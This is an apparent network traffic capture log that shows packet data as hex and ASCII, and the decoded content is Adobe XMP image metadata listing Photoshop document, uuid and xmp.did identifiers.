2022-04-08 08:02:42 UTC2712INData Raw: 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 62 36 38 31 63 61 38 2d 65 66 30 37 2d 31 31 37 38 2d 39 31 37 33 2d 66 63 65 35 31 62 62 36 32 39 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 62 62 32 61 38 37 36 2d 30 64 63 30 2d 31 31 65 37 2d 61 36 65 64 2d 66 64 34 66 37 63 37 62 35 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 62 65 30 37 66 65 39 2d 34 34 66 65 2d 31 31 64 64 2d 38 61 33 63 2d 64 37 36 63 30 65 33 66 33 31 32 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 63 64 31 38 35
Data Ascii: dobe:docid:photoshop:1b681ca8-ef07-1178-9173-fce51bb62952</rdf:li> <rdf:li>adobe:docid:photoshop:1bb2a876-0dc0-11e7-a6ed-fd4f7c7b5452</rdf:li> <rdf:li>adobe:docid:photoshop:1be07fe9-44fe-11dd-8a3c-d76c0e3f312f</rdf:li> <rdf:li>adobe:docid:photoshop:1cd185
2022-04-08 08:02:42 UTC2728INData Raw: 2d 39 64 34 39 30 61 61 39 34 37 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 62 33 65 63 37 61 37 2d 33 38 63 65 2d 31 31 65 36 2d 39 35 33 36 2d 63 65 65 36 38 66 31 63 65 36 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 62 39 35 38 35 64 61 2d 34 31 30 33 2d 31 31 65 37 2d 62 32 63 31 2d 61 64 36 61 35 37 66 63 38 66 30 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 62 62 63 36 32 63 36 2d 33 63 63 30 2d 31 31 65 36 2d 61 31 39 37 2d 63 37 34 37 65 38 65 63 63 35 66 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66
Data Ascii: -9d490aa947fc</rdf:li> <rdf:li>adobe:docid:photoshop:4b3ec7a7-38ce-11e6-9536-cee68f1ce62b</rdf:li> <rdf:li>adobe:docid:photoshop:4b9585da-4103-11e7-b2c1-ad6a57fc8f0b</rdf:li> <rdf:li>adobe:docid:photoshop:4bbc62c6-3cc0-11e6-a197-c747e8ecc5f2</rdf:li> <rdf
2022-04-08 08:02:42 UTC2736INData Raw: 73 68 6f 70 3a 36 34 34 31 64 65 35 30 2d 30 32 34 65 2d 31 31 64 39 2d 61 62 33 32 2d 66 32 33 37 30 64 31 38 35 36 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 35 30 34 39 39 36 2d 35 61 65 35 2d 31 31 64 65 2d 39 34 32 30 2d 38 62 39 39 30 38 63 35 35 65 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 38 36 66 64 33 31 2d 39 62 38 35 2d 31 31 65 36 2d 61 39 66 66 2d 38 64 36 36 35 36 65 64 37 65 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 63 35 61 37 31 36 2d 66 63 37 37 2d 64 39 34 65 2d 62 35 35
Data Ascii: shop:6441de50-024e-11d9-ab32-f2370d1856cd</rdf:li> <rdf:li>adobe:docid:photoshop:64504996-5ae5-11de-9420-8b9908c55eb1</rdf:li> <rdf:li>adobe:docid:photoshop:6486fd31-9b85-11e6-a9ff-8d6656ed7ea9</rdf:li> <rdf:li>adobe:docid:photoshop:64c5a716-fc77-d94e-b55
2022-04-08 08:02:42 UTC2744INData Raw: 32 2d 62 35 30 39 2d 31 31 64 64 2d 38 32 32 36 2d 64 61 39 34 39 34 38 37 36 37 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 38 64 63 65 33 33 2d 66 63 34 35 2d 31 31 65 36 2d 62 66 62 30 2d 38 64 61 32 39 32 34 62 66 33 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 63 62 32 30 30 37 2d 61 37 30 61 2d 64 36 34 30 2d 62 62 38 63 2d 30 34 35 34 63 62 65 65 37 63 66 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 64 30 61 66 34 32 2d 61 65 39 35 2d 31 31 64 61 2d 62 61 62 63 2d 39 63 30 64 65 64 32 61 34 36
Data Ascii: 2-b509-11dd-8226-da9494876732</rdf:li> <rdf:li>adobe:docid:photoshop:798dce33-fc45-11e6-bfb0-8da2924bf3bb</rdf:li> <rdf:li>adobe:docid:photoshop:79cb2007-a70a-d640-bb8c-0454cbee7cf9</rdf:li> <rdf:li>adobe:docid:photoshop:79d0af42-ae95-11da-babc-9c0ded2a46
2022-04-08 08:02:42 UTC2760INData Raw: 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 34 62 32 65 33 66 2d 39 31 31 65 2d 31 31 65 36 2d 38 63 33 62 2d 38 66 35 30 35 34 62 65 39 35 64 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 32 34 32 36 37 2d 38 35 39 64 2d 31 31 64 38 2d 62 31 38 36 2d 62 34 65 38 30 31 34 32 63 36 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 36 34 66 66 35 2d 32 61 62 33 2d 31 31 65 37 2d 62 66 34 66 2d 61 32 33 65 38 33 39 35 38 64 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 65
Data Ascii: li>adobe:docid:photoshop:ad4b2e3f-911e-11e6-8c3b-8f5054be95dd</rdf:li> <rdf:li>adobe:docid:photoshop:ade24267-859d-11d8-b186-b4e80142c6d8</rdf:li> <rdf:li>adobe:docid:photoshop:ade64ff5-2ab3-11e7-bf4f-a23e83958dee</rdf:li> <rdf:li>adobe:docid:photoshop:ae
2022-04-08 08:02:42 UTC2776INData Raw: 64 63 2d 39 32 65 64 2d 38 39 32 35 65 61 61 30 63 65 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 34 63 38 37 30 37 62 2d 62 36 30 61 2d 31 31 64 38 2d 39 63 62 38 2d 63 66 31 32 38 38 35 30 32 64 62 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 34 65 36 38 31 39 38 2d 34 65 32 36 2d 31 31 65 35 2d 62 32 30 61 2d 65 33 35 31 39 34 38 65 35 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 35 30 61 39 64 62 39 2d 66 34 39 39 2d 37 32 34 37 2d 62 34 64 65 2d 32 31 32 33 37 33 30 37 38 39 36 31 3c 2f 72 64 66 3a 6c
Data Ascii: dc-92ed-8925eaa0ce95</rdf:li> <rdf:li>adobe:docid:photoshop:e4c8707b-b60a-11d8-9cb8-cf1288502db2</rdf:li> <rdf:li>adobe:docid:photoshop:e4e68198-4e26-11e5-b20a-e351948e5fbb</rdf:li> <rdf:li>adobe:docid:photoshop:e50a9db9-f499-7247-b4de-212373078961</rdf:l
2022-04-08 08:02:42 UTC2784INData Raw: 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 63 61 39 62 65 31 63 2d 63 32 66 39 2d 31 31 65 36 2d 62 30 38 65 2d 39 63 61 38 64 30 38 30 34 61 66 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 31 33 66 34 39 33 2d 39 66 62 64 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 38 31 62 33 62 39 32 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 37 30 31 32 34 34 2d 32 36 64 63 2d 31 31 64 39 2d 62 33 61 39 2d 64 62 32 66 38 65 38 33 35 64 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 37 36 30 38 33 64 2d 66 63 36 61 2d 31
Data Ascii: d:photoshop:fca9be1c-c2f9-11e6-b08e-9ca8d0804af8</rdf:li> <rdf:li>adobe:docid:photoshop:fd13f493-9fbd-11da-b0b4-84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:fd701244-26dc-11d9-b3a9-db2f8e835d77</rdf:li> <rdf:li>adobe:docid:photoshop:fd76083d-fc6a-1
2022-04-08 08:02:42 UTC2800INData Raw: 64 3a 33 33 46 37 33 39 46 45 32 37 39 33 44 45 31 31 39 37 42 34 41 33 30 44 39 46 43 42 42 35 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 33 31 46 34 33 34 35 35 36 34 45 30 31 31 41 32 31 33 45 34 30 42 37 45 34 36 41 38 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 33 38 33 43 31 39 43 39 31 45 44 45 31 31 38 45 32 33 45 35 43 46 35 45 32 46 35 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 35 31 62 39 30 37 2d 39 30 61 63 2d 33 62 34 34 2d 62 35 66 33 2d 36 66 33 64 39 61 34 63 34 34 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 36 30 30 42 36 32 31 41 43 31 44 46 31 31 38 32 33 42 43 38 30 41 38 34 39 43 35
Data Ascii: d:33F739FE2793DE1197B4A30D9FCBB5DD</rdf:li> <rdf:li>uuid:3431F4345564E011A213E40B7E46A817</rdf:li> <rdf:li>uuid:34383C19C91EDE118E23E5CF5E2F54B5</rdf:li> <rdf:li>uuid:3451b907-90ac-3b44-b5f3-6f3d9a4c44fc</rdf:li> <rdf:li>uuid:34600B621AC1DF11823BC80A849C5
2022-04-08 08:02:42 UTC2816INData Raw: 32 36 42 34 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 31 30 31 39 39 38 38 46 31 42 31 31 44 41 41 37 34 31 42 34 41 41 30 31 31 41 43 35 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 31 30 31 39 39 41 38 46 31 42 31 31 44 41 41 37 34 31 42 34 41 41 30 31 31 41 43 35 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 44 35 31 44 30 36 38 37 39 38 31 31 44 43 41 46 43 37 43 42 46 35 32 34 37 37 33 39 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 45 43 41 30 42 37 42 39 38 35 44 46 31 31 38 32 46 39 38 44 33 39 42 39 39 38 46 34 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 46 44 30 34
Data Ascii: 26B430</rdf:li> <rdf:li>uuid:681019988F1B11DAA741B4AA011AC59A</rdf:li> <rdf:li>uuid:6810199A8F1B11DAA741B4AA011AC59A</rdf:li> <rdf:li>uuid:68D51D06879811DCAFC7CBF524773955</rdf:li> <rdf:li>uuid:68ECA0B7B985DF1182F98D39B998F44E</rdf:li> <rdf:li>uuid:68FD04
2022-04-08 08:02:44 UTC5416INData Raw: 75 75 69 64 3a 38 30 45 43 41 30 45 30 46 41 33 34 45 30 31 31 38 36 30 45 38 38 41 41 39 46 42 39 36 37 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 31 34 35 43 34 43 33 35 42 34 42 45 30 31 31 38 35 42 37 45 44 44 35 46 46 43 30 42 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 31 35 30 42 35 32 44 36 36 39 43 44 44 31 31 41 32 36 30 43 44 36 35 43 42 39 30 30 39 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 31 38 43 34 43 36 36 35 34 34 42 44 46 31 31 41 41 30 37 46 37 41 32 46 34 39 45 35 32 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 32 30 44 37 32 38 36 37 37 44 43 44 44 31 31 42 37 39 33 41 34 45 31 46 30 39 42 43 44
Data Ascii: uuid:80ECA0E0FA34E011860E88AA9FB9673B</rdf:li> <rdf:li>uuid:8145C4C35B4BE01185B7EDD5FFC0B198</rdf:li> <rdf:li>uuid:8150B52D669CDD11A260CD65CB90095E</rdf:li> <rdf:li>uuid:818C4C66544BDF11AA07F7A2F49E52BE</rdf:li> <rdf:li>uuid:820D728677DCDD11B793A4E1F09BCD
2022-04-08 08:02:44 UTC5432INData Raw: 45 35 30 35 34 32 45 35 31 31 39 37 43 43 39 44 32 36 39 34 31 46 39 41 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 35 32 36 38 45 43 44 33 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 36 45 37 33 45 31 45 46 31 42 45 30 31 31 38 45 30 35 39 46 31 34 41 31 41 45 38 33 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 37 30 32 38 36 42 34 32 33 31 45 31 31 31 38 44 42 42 46 35 45 38 42 30 41 31 39 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 38 43 43 33 37 34 46 36 45 32 44 43 31 31 39 33 44 36 45 35 39 33 46 37 30 34 45 46 39 34 3c 2f 72 64 66 3a 6c 69 3e
Data Ascii: E50542E51197CC9D26941F9A8B</rdf:li> <rdf:li>uuid:B45268ECD3CBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:B46E73E1EF1BE0118E059F14A1AE839B</rdf:li> <rdf:li>uuid:B470286B4231E1118DBBF5E8B0A19711</rdf:li> <rdf:li>uuid:B48CC374F6E2DC1193D6E593F704EF94</rdf:li>
2022-04-08 08:02:44 UTC5448INData Raw: 75 75 69 64 3a 46 32 44 32 41 30 44 44 32 32 43 43 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 44 41 45 34 41 32 41 34 30 45 45 34 31 31 39 38 39 33 38 35 39 35 33 39 37 37 43 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 31 41 37 30 42 45 43 37 36 35 44 43 31 31 41 34 30 31 43 30 41 43 30 34 41 37 43 42 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 33 42 43 33 39 37 42 46 44 30 31 31 44 41 41 33 36 42 46 44 41 41 43 31 35 43 42 45 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 35 38 45 42 37 34 32 39 36 43 31 31 44 44 38 39 45 34 39 35 33 42 39 31 45 36 33 34
Data Ascii: uuid:F2D2A0DD22CCE011B3FED24831848F59</rdf:li> <rdf:li>uuid:F2DAE4A2A40EE411989385953977C96F</rdf:li> <rdf:li>uuid:F31A70BEC765DC11A401C0AC04A7CB84</rdf:li> <rdf:li>uuid:F33BC397BFD011DAA36BFDAAC15CBE0D</rdf:li> <rdf:li>uuid:F358EB74296C11DD89E4953B91E634
2022-04-08 08:02:44 UTC5456INData Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 42 38 33 32 38 46 36 43 30 39 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 43 30 35 45 30 41 43 31 43 42 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 43 36 39 36 36 46 46 44 45 32 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 44 30 45 35 45 38 39 44 41 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64
Data Ascii: rdf:li> <rdf:li>xmp.did:018011740720681188C6B8328F6C0912</rdf:li> <rdf:li>xmp.did:018011740720681188C6C05E0AC1CB3B</rdf:li> <rdf:li>xmp.did:018011740720681188C6C6966FFDE204</rdf:li> <rdf:li>xmp.did:018011740720681188C6D0E5E89DAFF9</rdf:li> <rdf:li>xmp.did
2022-04-08 08:02:44 UTC5464INData Raw: 64 69 64 3a 30 32 31 38 38 36 31 34 45 30 36 42 31 31 45 30 41 37 34 35 45 36 36 34 34 39 43 42 30 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 31 45 34 41 43 41 30 38 32 30 36 38 31 31 38 32 32 41 46 31 44 41 44 36 44 46 33 45 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 31 64 33 34 62 63 2d 31 37 30 33 2d 34 34 61 33 2d 62 38 36 63 2d 39 32 64 61 35 31 32 38 36 33 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 35 32 65 39 63 35 2d 33 36 62 65 2d 34 36 34 36 2d 39 36 31 37 2d 63 34 35 33 30 38 64 62 64 35 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 35 33 31 37 38 36 32 44 32
Data Ascii: did:02188614E06B11E0A745E66449CB09B8</rdf:li> <rdf:li>xmp.did:021E4ACA08206811822AF1DAD6DF3E30</rdf:li> <rdf:li>xmp.did:021d34bc-1703-44a3-b86c-92da512863bb</rdf:li> <rdf:li>xmp.did:0252e9c5-36be-4646-9617-c45308dbd592</rdf:li> <rdf:li>xmp.did:025317862D2
2022-04-08 08:02:44 UTC5480INData Raw: 46 35 44 35 33 37 45 31 31 31 38 30 32 43 46 33 31 38 42 36 34 39 35 39 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 36 35 34 30 65 30 2d 64 37 36 35 2d 34 31 39 62 2d 39 32 64 38 2d 37 33 63 34 39 38 61 32 36 66 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 36 41 42 30 37 44 30 41 32 30 36 38 31 31 39 31 30 39 43 45 37 42 34 46 41 31 41 46 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 36 41 43 45 44 35 36 45 46 39 45 31 31 31 41 30 43 34 42 46 45 32 30 41 37 41 33 42 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 37 41 41 41 42 39 30 34 32 33 36 38 31 31 38 32 39 31 44 31 43 45 45
Data Ascii: F5D537E111802CF318B6495919</rdf:li> <rdf:li>xmp.did:066540e0-d765-419b-92d8-73c498a26f8d</rdf:li> <rdf:li>xmp.did:066AB07D0A2068119109CE7B4FA1AF12</rdf:li> <rdf:li>xmp.did:066ACED56EF9E111A0C4BFE20A7A3B6B</rdf:li> <rdf:li>xmp.did:067AAAB9042368118291D1CEE
2022-04-08 08:02:44 UTC5496INData Raw: 2e 64 69 64 3a 30 45 33 43 32 36 31 39 36 30 43 37 45 31 31 31 42 36 45 43 41 36 39 30 41 41 43 37 45 45 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 45 37 46 36 42 44 46 35 36 37 32 45 31 31 31 38 38 44 35 44 30 44 37 46 30 34 42 32 30 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 45 38 42 39 45 42 44 42 43 32 30 36 38 31 31 41 46 46 44 42 32 46 36 42 33 46 45 32 46 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 45 39 35 39 31 45 46 33 35 43 38 45 30 31 31 41 41 42 41 38 37 34 46 31 37 46 31 45 37 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 45 41 42 41 30 30 44 30 39 32 30 36 38 31 31 38 46
Data Ascii: .did:0E3C261960C7E111B6ECA690AAC7EE61</rdf:li> <rdf:li>xmp.did:0E7F6BDF5672E11188D5D0D7F04B2064</rdf:li> <rdf:li>xmp.did:0E8B9EBDBC206811AFFDB2F6B3FE2FD6</rdf:li> <rdf:li>xmp.did:0E9591EF35C8E011AABA874F17F1E7BB</rdf:li> <rdf:li>xmp.did:0EABA00D092068118F
2022-04-08 08:02:44 UTC5504INData Raw: 35 35 41 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 34 30 46 46 43 33 37 30 35 45 31 31 45 30 38 46 30 31 44 46 42 32 30 46 35 44 37 42 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 34 43 42 38 39 45 43 30 32 30 36 38 31 31 38 38 43 36 39 36 45 44 46 38 38 43 39 45 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 35 41 36 33 31 39 30 41 32 30 36 38 31 31 38 46 36 32 45 31 39 30 32 36 33 31 31 35 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 35 63 64 37 38 33 2d 65 38 65 34 2d 62 63 34 64 2d 62 65 37 64 2d 38 64 38 33 61 36 33 62 35 37 63 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66
Data Ascii: 55AA0</rdf:li> <rdf:li>xmp.did:1540FFC3705E11E08F01DFB20F5D7BF9</rdf:li> <rdf:li>xmp.did:154CB89EC020681188C696EDF88C9E6F</rdf:li> <rdf:li>xmp.did:155A63190A2068118F62E190263115F9</rdf:li> <rdf:li>xmp.did:155cd783-e8e4-bc4d-be7d-8d83a63b57ce</rdf:li> <rdf
2022-04-08 08:02:44 UTC5520INData Raw: 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 32 37 39 66 37 61 2d 35 37 34 65 2d 62 35 34 33 2d 38 33 39 33 2d 30 32 66 66 64 64 36 62 35 66 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 33 38 36 41 38 45 34 39 32 30 36 38 31 31 39 31 30 39 42 45 32 32 31 43 34 33 46 37 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 34 34 35 44 43 42 39 35 45 38 44 46 31 31 42 34 30 34 43 37 30 32 44 45 32 33 42 41 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 36 37 39 30 41 33 42 36 37 44 45 33 31 31 38 34 34 32 38 33 32 45 42 37 32 38 32 46 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e
Data Ascii: 9</rdf:li> <rdf:li>xmp.did:25279f7a-574e-b543-8393-02ffdd6b5f7a</rdf:li> <rdf:li>xmp.did:25386A8E492068119109BE221C43F738</rdf:li> <rdf:li>xmp.did:25445DCB95E8DF11B404C702DE23BA7A</rdf:li> <rdf:li>xmp.did:256790A3B67DE3118442832EB7282F36</rdf:li> <rdf:li>
2022-04-08 08:02:44 UTC5536INData Raw: 2e 64 69 64 3a 33 33 43 35 33 39 35 35 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 43 43 30 31 38 31 33 32 32 36 36 38 31 31 38 43 31 34 46 31 45 38 34 42 43 43 43 39 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 44 46 36 31 46 41 44 34 32 31 36 38 31 31 42 36 43 38 39 31 43 38 45 30 42 37 37 43 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 46 36 41 34 42 36 44 38 34 43 45 31 31 31 39 36 42 38 43 42 34 42 46 35 30 45 31 36 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 46 39 42 38 46 35 33 37 32 36 36 38 31 31 38 32
Data Ascii: .did:33C539550A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:33CC0181322668118C14F1E84BCCC9EA</rdf:li> <rdf:li>xmp.did:33DF61FAD4216811B6C891C8E0B77C98</rdf:li> <rdf:li>xmp.did:33F6A4B6D84CE11196B8CB4BF50E16C8</rdf:li> <rdf:li>xmp.did:33F9B8F53726681182
